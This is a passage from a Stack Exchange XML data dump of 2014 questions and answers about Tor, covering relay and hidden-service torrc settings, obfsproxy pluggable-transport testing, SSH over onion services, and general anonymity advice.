lengths&#xA;  of all intervals when the router was observed to be up, weighting&#xA;  intervals by $\alpha^n$, where $n$ is the amount of time that has&#xA;  passed since the interval ended, and $\alpha$ is chosen so that&#xA;  measurements over approximately one month old no longer influence the&#xA;  weighted MTBF much. [XXXX what happens when we have less than 4 days&#xA;  of MTBF info.]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Unnamed&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Directory authorities that support naming should vote for a router to&#xA;  be 'Unnamed’ if its given nickname is mapped to a different identity.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Valid&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;a router is 'Valid’ if it is running a version of Tor not known to be&#xA;  broken, and the directory authority has not blacklisted it as&#xA;  suspicious.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;V2Dir&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router supports the v2 directory protocol if it has an open&#xA;  directory port, and it is running a version of the directory protocol&#xA;  that supports the functionality clients need.  (Currently, this is&#xA;  0.1.1.9-alpha or later.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="71" LastEditorUserId="24923" LastEditDate="2019-02-21T22:34:06.967" LastActivityDate="2019-02-21T22:34:06.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2145" PostTypeId="1" CreationDate="2014-05-21T17:29:51.110" Score="2" ViewCount="3450" Body="&lt;p&gt;one basic question, I would like to know: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what programming languages are used to build Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TBB include Firefox and other things, so, correct question is about Tor.&lt;/p&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="923" LastEditDate="2014-06-24T08:26:24.640" LastActivityDate="2014-06-24T08:26:24.640" Title="What programming languages are used to build Tor?" Tags="|tor-browser-bundle|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostTypeId="2" ParentId="2145" CreationDate="2014-05-21T19:48:19.167" Score="1" Body="&lt;p&gt;The core Tor library is written mostly in C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ohloh.net/p/tor&quot; rel=&quot;nofollow&quot;&gt;https://www.ohloh.net/p/tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out the source code yourself here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor.git&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2014-05-21T19:48:19.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2148" PostTypeId="2" ParentId="2104" CreationDate="2014-05-21T19:55:12.640" Score="1" Body="&lt;p&gt;There's no reason why you shouldn't host a hidden service and browse with Tor normally from the same connection.  Be aware that running a Tor relay from the same server as a hidden service can compromise the anonymity of the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cybermashup.com/2013/09/04/dont-run-a-tor-router-and-a-hidden-service-from-the-same-connection/&quot; rel=&quot;nofollow&quot;&gt;http://cybermashup.com/2013/09/04/dont-run-a-tor-router-and-a-hidden-service-from-the-same-connection/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2014-05-21T19:55:12.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostTypeId="2" ParentId="2143" CreationDate="2014-05-22T01:29:12.670" Score="1" Body="&lt;p&gt;Yes, it does use two consecutive Tor circuits. That's generally considered to be unwise. See this Tor.SE question: &lt;a href=&quot;https://tor.stackexchange.com/questions/427/is-running-tor-over-tor-dangerous&quot;&gt;Is running Tor over Tor dangerous?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that Tor clients might not connect via Tor exits. Exits are all public, and it would be easy to implement. But I just checked, and that's not the case. TBB in a CrunchBang LiveCD VM does in fact connect to a Tor entry guard via a Tor-proxy VM. And the connection isn't substantially slower than either Tor-proxy circuits or TBB circuits alone.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-05-22T01:34:29.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostTypeId="2" ParentId="1562" CreationDate="2014-05-22T08:11:46.110" Score="2" Body="&lt;p&gt;While Lunar's answer is accurate, it is restricted to IT stuff, and you shouldn't overlook non-IT stuff, the most obvious is CCTV and hidden cams, but also just people looking over your shoulder. Public computers are, after all, in the public..&lt;/p&gt;&#xA;" OwnerUserId="1812" LastActivityDate="2014-05-22T08:11:46.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostTypeId="2" ParentId="2127" CreationDate="2014-05-22T08:17:29.033" Score="2" Body="&lt;p&gt;It is possible that your school's internet access is restricted to a white list of specific websites which only they are allowed to get surfed. If this is it, there is nothing you can do. Well, perhaps you can try using TAILS if there is something in the computer's software that disrupts the connection, but do not forget to turn off MAC Spoofing otherwise the Sysadmins will be on you in no time.&lt;/p&gt;&#xA;" OwnerUserId="1812" LastActivityDate="2014-05-22T08:17:29.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostTypeId="2" ParentId="2145" CreationDate="2014-05-22T14:20:10.780" Score="5" Body="&lt;p&gt;Tor itself is C. If you're curious about languages used in the wider ecosystem see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en#Projects&quot;&gt;https://www.torproject.org/getinvolved/volunteer.html.en#Projects&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-22T14:20:10.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2153" PostTypeId="2" ParentId="2104" CreationDate="2014-05-22T14:55:16.733" Score="1" Body="&lt;p&gt;An attacker that suspects you of running a hidden service could clog your connection (e.g. with a massive reply to an HTTP request) while concurrently monitoring the hidden service. It is always a matter of probability, but for some kind of services it can be pretty efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack can also be done the other way: clogging the hidden service while keeping exchanging data with the client.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastEditorUserId="1041" LastEditDate="2014-05-25T15:55:13.930" LastActivityDate="2014-05-25T15:55:13.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostTypeId="2" ParentId="2108" CreationDate="2014-05-22T15:12:07.657" Score="2" Body="&lt;p&gt;Facebook can technically be used with the Tor Browser. This is how many people access Facebook despite filters or other restrictions on their network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will prevent Facebook from knowing the Internet connection used to access it.&#xA;But sharing data on Facebook is &lt;em&gt;sharing data&lt;/em&gt;. It means that it will be be stored on Facebook servers and accessible by other Facebook users depending on “privacy settings”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you suspect your computer to be compromised with spying software, using the &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; live system will prevent them to work (unless they are working at a very low-level).&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-22T15:12:07.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2157" PostTypeId="1" AcceptedAnswerId="2170" CreationDate="2014-05-23T12:21:21.510" Score="1" ViewCount="465" Body="&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to locally run a PT in unmanaged mode. I have set up a bridge for a local test using the following &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;Nickname &quot;DummyTest&quot;&#xA;&#xA;SOCKSPort 5001&#xA;ORPort 65535&#xA;ControlPort auto&#xA;&#xA;ExitPolicy reject *:*&#xA;&#xA;AssumeReachable 1&#xA;PublishServerDescriptor 0&#xA;&#xA;DataDirectory /tmp/dummy-server&#xA;Log debug file /tmp/dummy-server/debug.log&#xA;Log notice stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I run the dummy PT server as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python obfsproxy/pyobfsproxy.py dummy server 127.0.0.1:5000 --dest 127.0.0.1:5001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the dummy PT client as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python obfsproxy/pyobfsproxy.py dummy client 127.0.0.1:4999 --dest 127.0.0.1:5000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point I'm able to browse the Web using the Tor Browser configured with the SOCKS proxy to &lt;code&gt;127.0.0.1:4999&lt;/code&gt;. So, the bridge and the PT seem to be working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I run Tor using the following &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge dummy localhost:65535&#xA;ClientTransportPlugin dummy socks5 localhost:4999&#xA;&#xA;SOCKSPort 4998&#xA;&#xA;DataDirectory /tmp/dummy-client&#xA;Log debug file /tmp/dummy-client/debug.log&#xA;Log notice stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I try to connect using the Tor browser through the port &lt;code&gt;4998&lt;/code&gt;. I get the following errors.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Tor bridge: &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[notice] No Tor server allows exit to [scrubbed]:65535. Rejecting.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Tor Onion Proxy:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[warn] Proxy Client: unable to connect to 127.0.0.1:65535 (&quot;connection not allowed by ruleset&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I also have tried with different exit policies and including parameters like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicyRejectPrivate 0&#xA;ClientDNSRejectInternalAddresses 0&#xA;ClientRejectInternalAddresses 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the torrc of the bridge and the client, but none of them worked.&lt;/p&gt;&#xA;" OwnerUserId="559" LastEditorUserId="559" LastEditDate="2014-05-23T14:29:05.087" LastActivityDate="2014-05-25T23:35:55.503" Title="How to run Pluggable Transports in unmanaged mode?" Tags="|configuration|pluggable-transports|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2158" PostTypeId="2" ParentId="2048" CreationDate="2014-05-23T18:18:07.373" Score="5" Body="&lt;p&gt;You have many options, what you choose may depend on your personal level of expertise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from solutions that require least expertise but may have drawbacks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming you have a working Internet connections, you can use Internet Cloud storage as intermediate storage. Note, I will &lt;strong&gt;not&lt;/strong&gt; advocate emailing to yourself which is commonly done because that will quickly use up your allotted mail storage unnecessarily. Examples of recommended Cloud Storage:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dropbox&lt;/li&gt;&#xA;&lt;li&gt;Google Drive&lt;/li&gt;&#xA;&lt;li&gt;Microsoft OneDrive (aka SkyDrive)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ubuntu One&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many others...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Tails, simply login and upload the file(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your other machine, login and download.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Local Network Shares. Do you know how to setup a network share? I won't go into the specifics, but if you know how to setup a network share SMB, HTTP, FTP or other protocol, then you should be able to do a normal network transfer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remote login. If you are able to &quot;see&quot; the other machine, then you can login to a Linux system like Tails with SCP, telnet, SSH from another system (If you're on Windows, you'll likely be using PuTTY). If you prefer a graphical interface, you'll likely use VNC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shared Local Storage. If you are able to configure direct access to the Guest (not always possible or easy), then you have a variation on the first option but without network bandwidth restrictions. This is typically configured in the Guest Settings. Note if you are able to configure direct physical access, it usually means that the Host and other Guests are unable to use that device at the same time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Guest Extensions and the Virtualbox Shared Folder. May also depend on what your Host OS is. Guest Extensions should be the same version and likely be installed from the Host Virtualbox installation's files. You first need to configure the Shared Folder on the Host in the Guest Settings, then you need to mount the share in your in your Guest. Requires intermediate to advanced understanding of Linux, preferably Debian.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;HTH,&#xA;TSU&lt;/p&gt;&#xA;" OwnerUserId="1821" LastEditorUserId="1821" LastEditDate="2014-05-23T18:28:28.440" LastActivityDate="2014-05-23T18:28:28.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2159" PostTypeId="1" CreationDate="2014-05-23T20:39:37.770" Score="3" ViewCount="4744" Body="&lt;p&gt;Just downloaded the new Tor browser bundle on my MACBOOK Pro and I get a message that reads &quot;a copy of firefox is already running. Only one copy allowed at a time.&quot; Any suggestions for newbie, like myself? &lt;/p&gt;&#xA;" OwnerUserId="1823" LastEditorUserId="923" LastEditDate="2014-06-24T21:09:01.990" LastActivityDate="2015-02-26T02:42:05.570" Title="Opening Tor on my Mac OX says Firefox is already running" Tags="|tor-browser-bundle|firefox|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2161" PostTypeId="2" ParentId="2108" CreationDate="2014-05-24T02:48:43.177" Score="1" Body="&lt;p&gt;If your device is comprimised, the hacker can see what you do before you send it over the Tor network. Tor will protect against an attacker monitoring your connection, not your device. Also, Facebook may treat Tor as an unrecognized device and make fill out a ridculous test to log on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the other answer mentioned, be sure your account is secure. You should probably look into anti-spyware software (anti-virus and anti-malware as well). Perhaps get your device professionally examined. There are specially secured operating systems that can be loaded onto some phones: Cyanogen Mod or Replicant for Android devices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, it would seem that the digital component of your problem is not the most significant component of it. It may be more beneficial to direct your efforts there.&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-05-24T02:48:43.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2162" PostTypeId="1" CreationDate="2014-05-24T02:55:29.733" Score="1" ViewCount="32" Body="&lt;p&gt;I've used an app called tincan on android that allows users to wirelessly connect to pass messages around in a decentralized manner. I know it's already possible to run &lt;a href=&quot;http://www.addictivetips.com/mobile/create-anonymous-wikileaks-mirror-on-your-android-device/&quot; rel=&quot;nofollow&quot;&gt;hidden services  on android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i feel like this would be a great way for people in oppressive regimes to have access to information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a great way to avoid awful ISPS (comcast).&lt;/p&gt;&#xA;" OwnerUserId="1825" LastEditorUserId="88" LastEditDate="2014-05-24T08:22:15.503" LastActivityDate="2014-05-24T08:22:15.503" Title="Is it possible to run all of Tor wirelessly connecting phones like a meshnet?" Tags="|security|censorship|mobile|" AnswerCount="0" CommentCount="1" ClosedDate="2014-05-31T12:11:35.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostTypeId="2" ParentId="1583" CreationDate="2014-05-24T07:24:40.200" Score="1" Body="&lt;p&gt;If you keep the Firefox profile from one version to another it means that changes in the default Tor Browser profile might not be propagated to your profile. Unless you do a manual review of profile changes with each release and adapt your profile accordingly, you might run into troubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work on an integrated update system is &lt;a href=&quot;https://bugs.torproject.org/4234&quot; rel=&quot;nofollow&quot;&gt;ongoing&lt;/a&gt;. Please note that as part of this effort, upcoming bundles will have a &lt;a href=&quot;https://bugs.torproject.org/9114&quot; rel=&quot;nofollow&quot;&gt;different file organization&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-24T07:24:40.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostTypeId="1" CreationDate="2014-05-24T13:14:50.520" Score="1" ViewCount="283" Body="&lt;p&gt;I've decided to run a Tor relay (not an exit node) for donating bandwidth to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've modified very few lines of my torrc file, since I'm trying to learn more about the technology but know very little at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: should I know more before running a Tor relay? Am I putting on risk the people that's passing through my node? Which reference should I read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log debug file /var/log/tor/debug.log&#xA;Log notice syslog&#xA;DataDirectory /var/lib/tor&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;ORPort 9798&#xA;Nickname ididnteditheconfig&#xA;AccountingMax 1 GB&#xA;AccountingStart day 12:00&#xA;ContactInfo giuscri giuscri@gmail.com&#xA;ExitPolicy reject *:* # no exits allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="88" LastEditDate="2014-05-24T13:24:22.957" LastActivityDate="2014-05-25T23:49:13.737" Title="Should people be more careful when running a Tor relay?" Tags="|anonymity|security|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostTypeId="1" CreationDate="2014-05-24T22:05:49.193" Score="2" ViewCount="510" Body="&lt;p&gt;I have a Linux computer with a standard SSH server running on it.  There is a public key configure on it (the only login method allowed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a windows computer with the associated private key.  When I am on the same network, I can ssh be the two authenticating with public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to run something on the Linux that create an hidden point and redirect the traffic to the SSH port, and the opposite on the windows box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that doable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, what would you recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please assume that the machine have standard installation without tor related software running already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="469" LastEditDate="2014-05-24T22:40:39.317" LastActivityDate="2014-05-24T22:55:34.407" Title="how to share an ssh port as a rendez vous point and access it?" Tags="|onion-services|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2169" PostTypeId="2" ParentId="2168" CreationDate="2014-05-24T22:27:16.040" Score="2" Body="&lt;p&gt;So if I understand you correctly you want to run a hidden SSH service on your GNU/Linux machine and want to use Windows to access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you have to configure a hidden service. Below I assume that your SSH daemon is already configured and running. Furthermore Tor should be installed. So open your &lt;code&gt;torrc&lt;/code&gt; and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/myssh/&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you restarted Tor look inside the &lt;code&gt;HiddenServiceDir&lt;/code&gt;, which is &lt;code&gt;/var/lib/tor/myssh/&lt;/code&gt; in the above case. You'll find a file &lt;code&gt;hostname&lt;/code&gt; inside. This contains the name of your hidden service. The Tor website has a page about &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;configuring hidden services&lt;/a&gt;. This also might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Windows side you'll have to configure &lt;a href=&quot;http://www.putty.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Putty&lt;/a&gt; to work with Tor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rlERb.png&quot; alt=&quot;proxy settings&quot;&gt;&#xA;So set &lt;em&gt;Proxy type&lt;/em&gt; to SOCKS5 and &lt;em&gt;Proxy hostname&lt;/em&gt; and &lt;em&gt;Port&lt;/em&gt; to &lt;code&gt;localhost&lt;/code&gt; and &lt;code&gt;9050&lt;/code&gt;. When you start a new session with the onion URL of your hidden service Tor is used and will connect to your GNU/Linux machine.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-05-24T22:55:34.407" LastActivityDate="2014-05-24T22:55:34.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2170" PostTypeId="2" ParentId="2157" CreationDate="2014-05-24T23:36:39.873" Score="3" Body="&lt;pre&gt;&lt;code&gt;python obfsproxy/pyobfsproxy.py dummy server 127.0.0.1:5000 --dest 127.0.0.1:65535&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bridges don't expose the SOCKSPort (you can remove the line entirely).  The only ports of relevance are the ORPort (or ExtORPort, but don't use that for this config).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python obfsproxy/pyobfsproxy.py dummy socks 127.0.0.1:4999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tor will pass the desired destination (the bridge's dummy server) via SOCKS to the client side obfsproxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge dummy localhost:5000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Bridge line tells tor what transport (&quot;dummy&quot; in this case) to use, and what the IP address/port the transport should connect to (dummy server is listening on Port 5000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will end up with something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firefox &amp;lt;-&gt; Client tor (Client torrc SOCKSPort)&lt;/li&gt;&#xA;&lt;li&gt;Client tor &amp;lt;-&gt; dummy client (Port listed in ClientTransportPlugin, client pyobfsproxy line)&lt;/li&gt;&#xA;&lt;li&gt;dummy client &amp;lt;-&gt; dummy server (Port listed on the Bridge line, bridge pyobfsproxy line)&lt;/li&gt;&#xA;&lt;li&gt;dummy server &amp;lt;-&gt; Bridge tor ORPort (Bridge torrc ORPort)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user78" LastEditorDisplayName="user78" LastEditDate="2014-05-25T23:35:55.503" LastActivityDate="2014-05-25T23:35:55.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostTypeId="1" CreationDate="2014-05-25T08:49:33.050" Score="2" ViewCount="104" Body="&lt;p&gt;I'd so much rather use GPG because GnuPG will require me to go into and type in the Terminal application. The last time I did that I killed my computer: I made it have a &quot;fatal&quot; system error. One wrong letter, space, dash, etc. - just one – and it's over, kaput. So I'm scared. And the guy in the tutorial does it so damn fast. So is it possible to use GPG tools to verify that I have the true Tor program and I'm really me, etc.? And avoid opening up the deathspace of Terminal?&lt;/p&gt;&#xA;" OwnerUserId="1831" LastActivityDate="2014-05-25T08:49:33.050" Title="Why isn't GPG adequate (is GnuPG better?) for Verifying Tor?" Tags="|tor-browser-bundle|onion-services|verification|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-24T11:16:24.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostTypeId="1" CreationDate="2014-05-25T20:30:59.867" Score="2" ViewCount="1138" Body="&lt;p&gt;I want to use skype, but it is not anonomous enough for me, is there a more anonomous alternative that I could use? I don't want anyone to be able to see my IP, including the other people in the call.&lt;br&gt;&#xA;&lt;strong&gt;I deem this question on topic because it is difficult to find one of these just from using a search engine, and the TOR community I would expect would have some info on this&lt;/strong&gt;&lt;br&gt;&#xA;What I have found so far:&lt;br&gt;&#xA;1) Orbot - You can run skype through this on an android, and it is more anonomous, but I don't have an android so this won't work for me.&lt;br&gt;&#xA;2) You cannot run voice directly over TOR, because it is too slow.&lt;br&gt;&#xA;3) jitsi does not protect you from the other people in the call.&lt;br&gt;&#xA;- Also, Video is not necessary, I wont be using it.&lt;/p&gt;&#xA;" OwnerUserId="1833" LastEditorUserId="1833" LastEditDate="2014-05-25T20:46:21.217" LastActivityDate="2017-01-11T05:21:27.470" Title="Anonomous alternative to skype - voip?" Tags="|tor-browser-bundle|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostTypeId="1" CreationDate="2014-05-25T20:46:41.577" Score="1" ViewCount="240" Body="&lt;p&gt;There is a website I want to go to, and the URL looks like this - &#xA;irc://dsadfasdfgweh.onion:2525&lt;br&gt;&#xA;No that is not a real website, I am not giving away the actual website I am trying to access. How do I connect to this? whenever I do, it tries to download a file, and if I click yes, nothing downloads.&lt;/p&gt;&#xA;" OwnerUserId="1833" LastEditorUserId="923" LastEditDate="2014-06-25T07:15:42.333" LastActivityDate="2015-11-23T01:33:58.317" Title="How to connect via SSL over Tor?" Tags="|tor-browser-bundle|onion-services|security|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2174" PostTypeId="2" ParentId="2173" CreationDate="2014-05-25T20:56:08.083" Score="3" Body="&lt;p&gt;That's not a web site, that is IRC (internet relay chat). You need an IRC client to connect to it. &lt;a href=&quot;http://www.irc-junkie.org/2009-12-31/howto-irc-anonymously-with-tor/&quot; rel=&quot;nofollow&quot;&gt;http://www.irc-junkie.org/2009-12-31/howto-irc-anonymously-with-tor/&lt;/a&gt; might help you with IRC over TOR.&lt;/p&gt;&#xA;" OwnerUserId="1834" LastActivityDate="2014-05-25T20:56:08.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostTypeId="2" ParentId="2166" CreationDate="2014-05-25T23:49:13.737" Score="2" Body="&lt;p&gt;Whowa, you probably do not want debug logging, and I would explicitly recommend against it as the logs may contain information that is considered sensitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you are doing is trying to run a relay, you like wise do not need HiddenServiceDir or HiddenServicePort.  An absolutely minimal config (&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en#torrc&quot; rel=&quot;nofollow&quot;&gt;taken from the instructions&lt;/a&gt;) would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like you are trying to limit the capacity to 1 GiB/day, so add AccountingMax/AccountingStart as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;torrc manual&lt;/a&gt; has more details regarding all of the options.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-05-25T23:49:13.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="1" CreationDate="2014-05-26T07:26:45.950" Score="2" ViewCount="821" Body="&lt;p&gt;I would like to run several dedicated servers, both relays and exit nodes.  I am concerned about two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The running server being hacked in a way that compromises the anonymity of user.&lt;/li&gt;&#xA;&lt;li&gt;The machine being breached remotely or locally at the colo where it is running.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It seems running Tor from a CD or DVD and rebooting regularly could address Item 1, however accessing the CD or DVD is extremely slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding Item 2, I am thinking it would best to run Tor like a &quot;Live CD&quot; with no hard drive and use the servers memory only so there are no storage devices and reboots start cleanly from unmodifiable media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's possible to run a machine out of memory using initramfs but would like do this without wrestling to combine the latest Tor releases with a &quot;Live CD&quot; linux distribution.  Is anyone working on a &quot;Live CD Tor System&quot; that would include to minimal OS necessary to run as relay or exit node and run entirely out of memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at TAILS but it has way more OS than is required.  Thanks if anyone can point me to others working on this or interested in 